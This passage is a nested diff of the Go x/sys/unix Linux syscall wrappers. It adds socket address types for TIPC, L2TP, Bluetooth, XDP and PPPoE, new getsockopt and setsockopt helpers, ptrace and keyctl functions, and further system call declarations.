-+ copy(out[:], (*(*[unsafe.Sizeof(TIPCServiceRange{})]byte)(unsafe.Pointer(sa)))[:])
-+ return out
-+}
-+
-+func (sa *TIPCServiceRange) tipcAddrtype() uint8 { return TIPC_SERVICE_RANGE }
-+
-+func (sa *TIPCServiceName) tipcAddr() [12]byte {
-+ var out [12]byte
-+ copy(out[:], (*(*[unsafe.Sizeof(TIPCServiceName{})]byte)(unsafe.Pointer(sa)))[:])
-+ return out
-+}
-+
-+func (sa *TIPCServiceName) tipcAddrtype() uint8 { return TIPC_SERVICE_ADDR }
-+
-+func (sa *SockaddrTIPC) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if sa.Addr == nil {
-+ return nil, 0, EINVAL
-+ }
-+
-+ sa.raw.Family = AF_TIPC
-+ sa.raw.Scope = int8(sa.Scope)
-+ sa.raw.Addrtype = sa.Addr.tipcAddrtype()
-+ sa.raw.Addr = sa.Addr.tipcAddr()
-+
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrTIPC, nil
-+}
-+
-+// SockaddrL2TPIP implements the Sockaddr interface for IPPROTO_L2TP/AF_INET sockets.
-+type SockaddrL2TPIP struct {
-+ Addr [4]byte
-+ ConnId uint32
-+ raw RawSockaddrL2TPIP
-+}
-+
-+func (sa *SockaddrL2TPIP) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_INET
-+ sa.raw.Conn_id = sa.ConnId
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrL2TPIP, nil
-+}
-+
-+// SockaddrL2TPIP6 implements the Sockaddr interface for IPPROTO_L2TP/AF_INET6 sockets.
-+type SockaddrL2TPIP6 struct {
-+ Addr [16]byte
-+ ZoneId uint32
-+ ConnId uint32
-+ raw RawSockaddrL2TPIP6
-+}
-+
-+func (sa *SockaddrL2TPIP6) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_INET6
-+ sa.raw.Conn_id = sa.ConnId
-+ sa.raw.Scope_id = sa.ZoneId
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrL2TPIP6, nil
-+}
-+
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
- switch rsa.Addr.Family {
- case AF_NETLINK:
- pp := (*RawSockaddrNetlink)(unsafe.Pointer(rsa))
-@@ -675,30 +918,63 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- for n < len(pp.Path) && pp.Path[n] != 0 {
- n++
- }
-- bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
- sa.Name = string(bytes)
- return sa, nil
-
- case AF_INET:
-- pp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))
-- sa := new(SockaddrInet4)
-- p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-- sa.Port = int(p[0])<<8 + int(p[1])
-- for i := 0; i < len(sa.Addr); i++ {
-- sa.Addr[i] = pp.Addr[i]
-+ proto, err := GetsockoptInt(fd, SOL_SOCKET, SO_PROTOCOL)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ switch proto {
-+ case IPPROTO_L2TP:
-+ pp := (*RawSockaddrL2TPIP)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrL2TPIP)
-+ sa.ConnId = pp.Conn_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+ default:
-+ pp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet4)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
- }
-- return sa, nil
-
- case AF_INET6:
-- pp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))
-- sa := new(SockaddrInet6)
-- p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-- sa.Port = int(p[0])<<8 + int(p[1])
-- sa.ZoneId = pp.Scope_id
-- for i := 0; i < len(sa.Addr); i++ {
-- sa.Addr[i] = pp.Addr[i]
-+ proto, err := GetsockoptInt(fd, SOL_SOCKET, SO_PROTOCOL)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ switch proto {
-+ case IPPROTO_L2TP:
-+ pp := (*RawSockaddrL2TPIP6)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrL2TPIP6)
-+ sa.ConnId = pp.Conn_id
-+ sa.ZoneId = pp.Scope_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+ default:
-+ pp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet6)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ sa.ZoneId = pp.Scope_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
- }
-- return sa, nil
-
- case AF_VSOCK:
- pp := (*RawSockaddrVM)(unsafe.Pointer(rsa))
-@@ -706,6 +982,76 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- CID: pp.Cid,
- Port: pp.Port,
- }
-+ return sa, nil
-+ case AF_BLUETOOTH:
-+ proto, err := GetsockoptInt(fd, SOL_SOCKET, SO_PROTOCOL)
-+ if err != nil {
-+ return nil, err
-+ }
-+ // only BTPROTO_L2CAP and BTPROTO_RFCOMM can accept connections
-+ switch proto {
-+ case BTPROTO_L2CAP:
-+ pp := (*RawSockaddrL2)(unsafe.Pointer(rsa))
-+ sa := &SockaddrL2{
-+ PSM: pp.Psm,
-+ CID: pp.Cid,
-+ Addr: pp.Bdaddr,
-+ AddrType: pp.Bdaddr_type,
-+ }
-+ return sa, nil
-+ case BTPROTO_RFCOMM:
-+ pp := (*RawSockaddrRFCOMM)(unsafe.Pointer(rsa))
-+ sa := &SockaddrRFCOMM{
-+ Channel: pp.Channel,
-+ Addr: pp.Bdaddr,
-+ }
-+ return sa, nil
-+ }
-+ case AF_XDP:
-+ pp := (*RawSockaddrXDP)(unsafe.Pointer(rsa))
-+ sa := &SockaddrXDP{
-+ Flags: pp.Flags,
-+ Ifindex: pp.Ifindex,
-+ QueueID: pp.Queue_id,
-+ SharedUmemFD: pp.Shared_umem_fd,
-+ }
-+ return sa, nil
-+ case AF_PPPOX:
-+ pp := (*RawSockaddrPPPoX)(unsafe.Pointer(rsa))
-+ if binary.BigEndian.Uint32(pp[2:6]) != px_proto_oe {
-+ return nil, EINVAL
-+ }
-+ sa := &SockaddrPPPoE{
-+ SID: binary.BigEndian.Uint16(pp[6:8]),
-+ Remote: pp[8:14],
-+ }
-+ for i := 14; i < 14+IFNAMSIZ; i++ {
-+ if pp[i] == 0 {
-+ sa.Dev = string(pp[14:i])
-+ break
-+ }
-+ }
-+ return sa, nil
-+ case AF_TIPC:
-+ pp := (*RawSockaddrTIPC)(unsafe.Pointer(rsa))
-+
-+ sa := &SockaddrTIPC{
-+ Scope: int(pp.Scope),
-+ }
-+
-+ // Determine which union variant is present in pp.Addr by checking
-+ // pp.Addrtype.
-+ switch pp.Addrtype {
-+ case TIPC_SERVICE_RANGE:
-+ sa.Addr = (*TIPCServiceRange)(unsafe.Pointer(&pp.Addr))
-+ case TIPC_SERVICE_ADDR:
-+ sa.Addr = (*TIPCServiceName)(unsafe.Pointer(&pp.Addr))
-+ case TIPC_SOCKET_ADDR:
-+ sa.Addr = (*TIPCSocketAddr)(unsafe.Pointer(&pp.Addr))
-+ default:
-+ return nil, EINVAL
-+ }
-+
- return sa, nil
- }
- return nil, EAFNOSUPPORT
-@@ -718,7 +1064,7 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
- if err != nil {
- return
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -736,7 +1082,7 @@ func Accept4(fd int, flags int) (nfd int, sa Sockaddr, err error) {
- if len > SizeofSockaddrAny {
- panic("RawSockaddrAny too small")
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -750,20 +1096,7 @@ func Getsockname(fd int) (sa Sockaddr, err error) {
- if err = getsockname(fd, &rsa, &len); err != nil {
- return
- }
-- return anyToSockaddr(&rsa)
--}
--
--func GetsockoptInet4Addr(fd, level, opt int) (value [4]byte, err error) {
-- vallen := _Socklen(4)
-- err = getsockopt(fd, level, opt, unsafe.Pointer(&value[0]), &vallen)
-- return value, err
--}
--
--func GetsockoptIPMreq(fd, level, opt int) (*IPMreq, error) {
-- var value IPMreq
-- vallen := _Socklen(SizeofIPMreq)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
-+ return anyToSockaddr(fd, &rsa)
- }
-
- func GetsockoptIPMreqn(fd, level, opt int) (*IPMreqn, error) {
-@@ -773,37 +1106,48 @@ func GetsockoptIPMreqn(fd, level, opt int) (*IPMreqn, error) {
- return &value, err
- }
-
--func GetsockoptIPv6Mreq(fd, level, opt int) (*IPv6Mreq, error) {
-- var value IPv6Mreq
-- vallen := _Socklen(SizeofIPv6Mreq)
-+func GetsockoptUcred(fd, level, opt int) (*Ucred, error) {
-+ var value Ucred
-+ vallen := _Socklen(SizeofUcred)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-
--func GetsockoptIPv6MTUInfo(fd, level, opt int) (*IPv6MTUInfo, error) {
-- var value IPv6MTUInfo
-- vallen := _Socklen(SizeofIPv6MTUInfo)
-+func GetsockoptTCPInfo(fd, level, opt int) (*TCPInfo, error) {
-+ var value TCPInfo
-+ vallen := _Socklen(SizeofTCPInfo)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-
--func GetsockoptICMPv6Filter(fd, level, opt int) (*ICMPv6Filter, error) {
-- var value ICMPv6Filter
-- vallen := _Socklen(SizeofICMPv6Filter)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
-+// GetsockoptString returns the string value of the socket option opt for the
-+// socket associated with fd at the given socket level.
-+func GetsockoptString(fd, level, opt int) (string, error) {
-+ buf := make([]byte, 256)
-+ vallen := _Socklen(len(buf))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ if err != nil {
-+ if err == ERANGE {
-+ buf = make([]byte, vallen)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ }
-+ if err != nil {
-+ return "", err
-+ }
-+ }
-+ return string(buf[:vallen-1]), nil
- }
-
--func GetsockoptUcred(fd, level, opt int) (*Ucred, error) {
-- var value Ucred
-- vallen := _Socklen(SizeofUcred)
-+func GetsockoptTpacketStats(fd, level, opt int) (*TpacketStats, error) {
-+ var value TpacketStats
-+ vallen := _Socklen(SizeofTpacketStats)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-
--func GetsockoptTCPInfo(fd, level, opt int) (*TCPInfo, error) {
-- var value TCPInfo
-- vallen := _Socklen(SizeofTCPInfo)
-+func GetsockoptTpacketStatsV3(fd, level, opt int) (*TpacketStatsV3, error) {
-+ var value TpacketStatsV3
-+ vallen := _Socklen(SizeofTpacketStatsV3)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-@@ -812,6 +1156,32 @@ func SetsockoptIPMreqn(fd, level, opt int, mreq *IPMreqn) (err error) {
- return setsockopt(fd, level, opt, unsafe.Pointer(mreq), unsafe.Sizeof(*mreq))
- }
-
-+func SetsockoptPacketMreq(fd, level, opt int, mreq *PacketMreq) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(mreq), unsafe.Sizeof(*mreq))
-+}
-+
-+// SetsockoptSockFprog attaches a classic BPF or an extended BPF program to a
-+// socket to filter incoming packets. See 'man 7 socket' for usage information.
-+func SetsockoptSockFprog(fd, level, opt int, fprog *SockFprog) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(fprog), unsafe.Sizeof(*fprog))
-+}
-+
-+func SetsockoptCanRawFilter(fd, level, opt int, filter []CanFilter) error {
-+ var p unsafe.Pointer
-+ if len(filter) > 0 {
-+ p = unsafe.Pointer(&filter[0])
-+ }
-+ return setsockopt(fd, level, opt, p, uintptr(len(filter)*SizeofCanFilter))
-+}
-+
-+func SetsockoptTpacketReq(fd, level, opt int, tp *TpacketReq) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(tp), unsafe.Sizeof(*tp))
-+}
-+
-+func SetsockoptTpacketReq3(fd, level, opt int, tp *TpacketReq3) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(tp), unsafe.Sizeof(*tp))
-+}
-+
- // Keyctl Commands (http://man7.org/linux/man-pages/man2/keyctl.2.html)
-
- // KeyctlInt calls keyctl commands in which each argument is an int.
-@@ -919,6 +1289,34 @@ func KeyctlDHCompute(params *KeyctlDHParams, buffer []byte) (size int, err error
- return keyctlDH(KEYCTL_DH_COMPUTE, params, buffer)
- }
-
-+// KeyctlRestrictKeyring implements the KEYCTL_RESTRICT_KEYRING command. This
-+// command limits the set of keys that can be linked to the keyring, regardless
-+// of keyring permissions. The command requires the "setattr" permission.
-+//
-+// When called with an empty keyType the command locks the keyring, preventing
-+// any further keys from being linked to the keyring.
-+//
-+// The "asymmetric" keyType defines restrictions requiring key payloads to be
-+// DER encoded X.509 certificates signed by keys in another keyring. Restrictions
-+// for "asymmetric" include "builtin_trusted", "builtin_and_secondary_trusted",
-+// "key_or_keyring:<key>", and "key_or_keyring:<key>:chain".
-+//
-+// As of Linux 4.12, only the "asymmetric" keyType defines type-specific
-+// restrictions.
-+//
-+// See the full documentation at:
-+// http://man7.org/linux/man-pages/man3/keyctl_restrict_keyring.3.html
-+// http://man7.org/linux/man-pages/man2/keyctl.2.html
-+func KeyctlRestrictKeyring(ringid int, keyType string, restriction string) error {
-+ if keyType == "" {
-+ return keyctlRestrictKeyring(KEYCTL_RESTRICT_KEYRING, ringid)
-+ }
-+ return keyctlRestrictKeyringByType(KEYCTL_RESTRICT_KEYRING, ringid, keyType, restriction)
-+}
-+
-+//sys keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) = SYS_KEYCTL
-+//sys keyctlRestrictKeyring(cmd int, arg2 int) (err error) = SYS_KEYCTL
-+
- func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
- var msg Msghdr
- var rsa RawSockaddrAny
-@@ -926,22 +1324,24 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- msg.Namelen = uint32(SizeofSockaddrAny)
- var iov Iovec
- if len(p) > 0 {
-- iov.Base = (*byte)(unsafe.Pointer(&p[0]))
-+ iov.Base = &p[0]
- iov.SetLen(len(p))
- }
- var dummy byte
- if len(oob) > 0 {
-- var sockType int
-- sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-- if err != nil {
-- return
-+ if len(p) == 0 {
-+ var sockType int
-+ sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-+ if err != nil {
-+ return
-+ }
-+ // receive at least one normal byte
-+ if sockType != SOCK_DGRAM {
-+ iov.Base = &dummy
-+ iov.SetLen(1)
-+ }
- }
-- // receive at least one normal byte
-- if sockType != SOCK_DGRAM && len(p) == 0 {
-- iov.Base = &dummy
-- iov.SetLen(1)
-- }
-- msg.Control = (*byte)(unsafe.Pointer(&oob[0]))
-+ msg.Control = &oob[0]
- msg.SetControllen(len(oob))
- }
- msg.Iov = &iov
-@@ -953,7 +1353,7 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- recvflags = int(msg.Flags)
- // source address is only specified if the socket is unconnected
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -974,26 +1374,28 @@ func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error)
- }
- }
- var msg Msghdr
-- msg.Name = (*byte)(unsafe.Pointer(ptr))
-+ msg.Name = (*byte)(ptr)
- msg.Namelen = uint32(salen)
- var iov Iovec
- if len(p) > 0 {
-- iov.Base = (*byte)(unsafe.Pointer(&p[0]))
-+ iov.Base = &p[0]
- iov.SetLen(len(p))
- }
- var dummy byte
- if len(oob) > 0 {
-- var sockType int
-- sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-- if err != nil {
-- return 0, err
-+ if len(p) == 0 {
-+ var sockType int
-+ sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-+ if err != nil {
-+ return 0, err
-+ }
-+ // send at least one normal byte
-+ if sockType != SOCK_DGRAM {
-+ iov.Base = &dummy
-+ iov.SetLen(1)
-+ }
- }
-- // send at least one normal byte
-- if sockType != SOCK_DGRAM && len(p) == 0 {
-- iov.Base = &dummy
-- iov.SetLen(1)
-- }
-- msg.Control = (*byte)(unsafe.Pointer(&oob[0]))
-+ msg.Control = &oob[0]
- msg.SetControllen(len(oob))
- }
- msg.Iov = &iov
-@@ -1021,20 +1423,20 @@ func ptracePeek(req int, pid int, addr uintptr, out []byte) (count int, err erro
- // The ptrace syscall differs from glibc's ptrace.
- // Peeks returns the word in *data, not as the return value.
-
-- var buf [sizeofPtr]byte
-+ var buf [SizeofPtr]byte
-
-- // Leading edge. PEEKTEXT/PEEKDATA don't require aligned
-+ // Leading edge. PEEKTEXT/PEEKDATA don't require aligned
- // access (PEEKUSER warns that it might), but if we don't
- // align our reads, we might straddle an unmapped page
- // boundary and not get the bytes leading up to the page
- // boundary.
- n := 0
-- if addr%sizeofPtr != 0 {
-- err = ptrace(req, pid, addr-addr%sizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
-+ if addr%SizeofPtr != 0 {
-+ err = ptrace(req, pid, addr-addr%SizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
- if err != nil {
- return 0, err
- }
-- n += copy(out, buf[addr%sizeofPtr:])
-+ n += copy(out, buf[addr%SizeofPtr:])
- out = out[n:]
- }
-
-@@ -1072,15 +1474,15 @@ func ptracePoke(pokeReq int, peekReq int, pid int, addr uintptr, data []byte) (c
-
- // Leading edge.
- n := 0
-- if addr%sizeofPtr != 0 {
-- var buf [sizeofPtr]byte
-- err = ptrace(peekReq, pid, addr-addr%sizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
-+ if addr%SizeofPtr != 0 {
-+ var buf [SizeofPtr]byte
-+ err = ptrace(peekReq, pid, addr-addr%SizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
- if err != nil {
- return 0, err
- }
-- n += copy(buf[addr%sizeofPtr:], data)
-+ n += copy(buf[addr%SizeofPtr:], data)
- word := *((*uintptr)(unsafe.Pointer(&buf[0])))
-- err = ptrace(pokeReq, pid, addr-addr%sizeofPtr, word)
-+ err = ptrace(pokeReq, pid, addr-addr%SizeofPtr, word)
- if err != nil {
- return 0, err
- }
-@@ -1088,19 +1490,19 @@ func ptracePoke(pokeReq int, peekReq int, pid int, addr uintptr, data []byte) (c
- }
-
- // Interior.
-- for len(data) > sizeofPtr {
-+ for len(data) > SizeofPtr {
- word := *((*uintptr)(unsafe.Pointer(&data[0])))
- err = ptrace(pokeReq, pid, addr+uintptr(n), word)
- if err != nil {
- return n, err
- }
-- n += sizeofPtr
-- data = data[sizeofPtr:]
-+ n += SizeofPtr
-+ data = data[SizeofPtr:]
- }
-
- // Trailing edge.
- if len(data) > 0 {
-- var buf [sizeofPtr]byte
-+ var buf [SizeofPtr]byte
- err = ptrace(peekReq, pid, addr+uintptr(n), uintptr(unsafe.Pointer(&buf[0])))
- if err != nil {
- return n, err
-@@ -1125,6 +1527,10 @@ func PtracePokeData(pid int, addr uintptr, data []byte) (count int, err error) {
- return ptracePoke(PTRACE_POKEDATA, PTRACE_PEEKDATA, pid, addr, data)
- }
-
-+func PtracePokeUser(pid int, addr uintptr, data []byte) (count int, err error) {
-+ return ptracePoke(PTRACE_POKEUSR, PTRACE_PEEKUSR, pid, addr, data)
-+}
-+
- func PtraceGetRegs(pid int, regsout *PtraceRegs) (err error) {
- return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
- }
-@@ -1154,8 +1560,12 @@ func PtraceSyscall(pid int, signal int) (err error) {
-
- func PtraceSingleStep(pid int) (err error) { return ptrace(PTRACE_SINGLESTEP, pid, 0, 0) }
-
-+func PtraceInterrupt(pid int) (err error) { return ptrace(PTRACE_INTERRUPT, pid, 0, 0) }
-+
- func PtraceAttach(pid int) (err error) { return ptrace(PTRACE_ATTACH, pid, 0, 0) }
-
-+func PtraceSeize(pid int) (err error) { return ptrace(PTRACE_SEIZE, pid, 0, 0) }
-+
- func PtraceDetach(pid int) (err error) { return ptrace(PTRACE_DETACH, pid, 0, 0) }
-
- //sys reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error)
-@@ -1164,10 +1574,6 @@ func Reboot(cmd int) (err error) {
- return reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, cmd, "")
- }
-
--func ReadDirent(fd int, buf []byte) (n int, err error) {
-- return Getdents(fd, buf)
--}
--
- func direntIno(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Ino), unsafe.Sizeof(Dirent{}.Ino))
- }
-@@ -1199,6 +1605,13 @@ func Mount(source string, target string, fstype string, flags uintptr, data stri
- return mount(source, target, fstype, flags, datap)
- }
-
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
- // Sendto
- // Recvfrom
- // Socketpair
-@@ -1209,26 +1622,33 @@ func Mount(source string, target string, fstype string, flags uintptr, data stri
- //sys Acct(path string) (err error)
- //sys AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error)
- //sys Adjtimex(buf *Timex) (state int, err error)
-+//sysnb Capget(hdr *CapUserHeader, data *CapUserData) (err error)
-+//sysnb Capset(hdr *CapUserHeader, data *CapUserData) (err error)
- //sys Chdir(path string) (err error)
- //sys Chroot(path string) (err error)
-+//sys ClockGetres(clockid int32, res *Timespec) (err error)
- //sys ClockGettime(clockid int32, time *Timespec) (err error)
-+//sys ClockNanosleep(clockid int32, flags int, request *Timespec, remain *Timespec) (err error)
- //sys Close(fd int) (err error)
- //sys CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error)
-+//sys DeleteModule(name string, flags int) (err error)
- //sys Dup(oldfd int) (fd int, err error)
- //sys Dup3(oldfd int, newfd int, flags int) (err error)
--//sysnb EpollCreate(size int) (fd int, err error)
- //sysnb EpollCreate1(flag int) (fd int, err error)
- //sysnb EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error)
- //sys Eventfd(initval uint, flags int) (fd int, err error) = SYS_EVENTFD2
- //sys Exit(code int) = SYS_EXIT_GROUP
--//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fallocate(fd int, mode uint32, off int64, len int64) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
--//sys fcntl(fd int, cmd int, arg int) (val int, err error)
- //sys Fdatasync(fd int) (err error)
-+//sys Fgetxattr(fd int, attr string, dest []byte) (sz int, err error)
-+//sys FinitModule(fd int, params string, flags int) (err error)
-+//sys Flistxattr(fd int, dest []byte) (sz int, err error)
- //sys Flock(fd int, how int) (err error)
-+//sys Fremovexattr(fd int, attr string) (err error)
-+//sys Fsetxattr(fd int, attr string, dest []byte, flags int) (err error)
- //sys Fsync(fd int) (err error)
- //sys Getdents(fd int, buf []byte) (n int, err error) = SYS_GETDENTS64
- //sysnb Getpgid(pid int) (pgid int, err error)
-@@ -1246,6 +1666,7 @@ func Getpgrp() (pid int) {
- //sysnb Getsid(pid int) (sid int, err error)
- //sysnb Gettid() (tid int)
- //sys Getxattr(path string, attr string, dest []byte) (sz int, err error)
-+//sys InitModule(moduleImage []byte, params string) (err error)
- //sys InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error)
- //sysnb InotifyInit1(flags int) (fd int, err error)
- //sysnb InotifyRmWatch(fd int, watchdesc uint32) (success int, err error)
-@@ -1256,15 +1677,18 @@ func Getpgrp() (pid int) {
- //sys Llistxattr(path string, dest []byte) (sz int, err error)
- //sys Lremovexattr(path string, attr string) (err error)
- //sys Lsetxattr(path string, attr string, data []byte, flags int) (err error)
-+//sys MemfdCreate(name string, flags int) (fd int, err error)
- //sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
-+//sys PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error)
- //sys PivotRoot(newroot string, putold string) (err error) = SYS_PIVOT_ROOT
- //sysnb prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) = SYS_PRLIMIT64
- //sys Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error)
-+//sys Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) = SYS_PSELECT6
- //sys read(fd int, p []byte) (n int, err error)
- //sys Removexattr(path string, attr string) (err error)
--//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
-+//sys Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error)
- //sys RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error)
- //sys Setdomainname(p []byte) (err error)
- //sys Sethostname(p []byte) (err error)
-@@ -1273,6 +1697,17 @@ func Getpgrp() (pid int) {
- //sysnb Settimeofday(tv *Timeval) (err error)
- //sys Setns(fd int, nstype int) (err error)
-
-+// PrctlRetInt performs a prctl operation specified by option and further
-+// optional arguments arg2 through arg5 depending on option. It returns a
-+// non-negative integer that is returned by the prctl syscall.
-+func PrctlRetInt(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (int, error) {
-+ ret, _, err := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-+ if err != 0 {
-+ return 0, err
-+ }
-+ return int(ret), nil
-+}
-+
- // issue 1435.
- // On linux Setuid and Setgid only affects the current thread, not the process.
- // This does not match what most callers expect so we must return an error
-@@ -1286,8 +1721,38 @@ func Setgid(uid int) (err error) {
- return EOPNOTSUPP
- }
-
-+// SetfsgidRetGid sets fsgid for current thread and returns previous fsgid set.
-+// setfsgid(2) will return a non-nil error only if its caller lacks CAP_SETUID capability.
-+// If the call fails due to other reasons, current fsgid will be returned.
-+func SetfsgidRetGid(gid int) (int, error) {
-+ return setfsgid(gid)
-+}
-+
-+// SetfsuidRetUid sets fsuid for current thread and returns previous fsuid set.
-+// setfsgid(2) will return a non-nil error only if its caller lacks CAP_SETUID capability
-+// If the call fails due to other reasons, current fsuid will be returned.
-+func SetfsuidRetUid(uid int) (int, error) {
-+ return setfsuid(uid)
-+}
-+
-+func Setfsgid(gid int) error {
-+ _, err := setfsgid(gid)
-+ return err
-+}
-+
-+func Setfsuid(uid int) error {
-+ _, err := setfsuid(uid)
-+ return err
-+}
-+
-+func Signalfd(fd int, sigmask *Sigset_t, flags int) (newfd int, err error) {
-+ return signalfd(fd, sigmask, _C__NSIG/8, flags)
-+}
-+
- //sys Setpriority(which int, who int, prio int) (err error)
- //sys Setxattr(path string, attr string, data []byte, flags int) (err error)
-+//sys signalfd(fd int, sigmask *Sigset_t, maskSize uintptr, flags int) (newfd int, err error) = SYS_SIGNALFD4
-+//sys Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error)
- //sys Sync()
- //sys Syncfs(fd int) (err error)
- //sysnb Sysinfo(info *Sysinfo_t) (err error)
-@@ -1298,11 +1763,127 @@ func Setgid(uid int) (err error) {
- //sysnb Uname(buf *Utsname) (err error)
- //sys Unmount(target string, flags int) (err error) = SYS_UMOUNT2
- //sys Unshare(flags int) (err error)
--//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys exitThread(code int) (err error) = SYS_EXIT
- //sys readlen(fd int, p *byte, np int) (n int, err error) = SYS_READ
- //sys writelen(fd int, p *byte, np int) (n int, err error) = SYS_WRITE
-+//sys readv(fd int, iovs []Iovec) (n int, err error) = SYS_READV
-+//sys writev(fd int, iovs []Iovec) (n int, err error) = SYS_WRITEV
-+//sys preadv(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) = SYS_PREADV
-+//sys pwritev(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) = SYS_PWRITEV
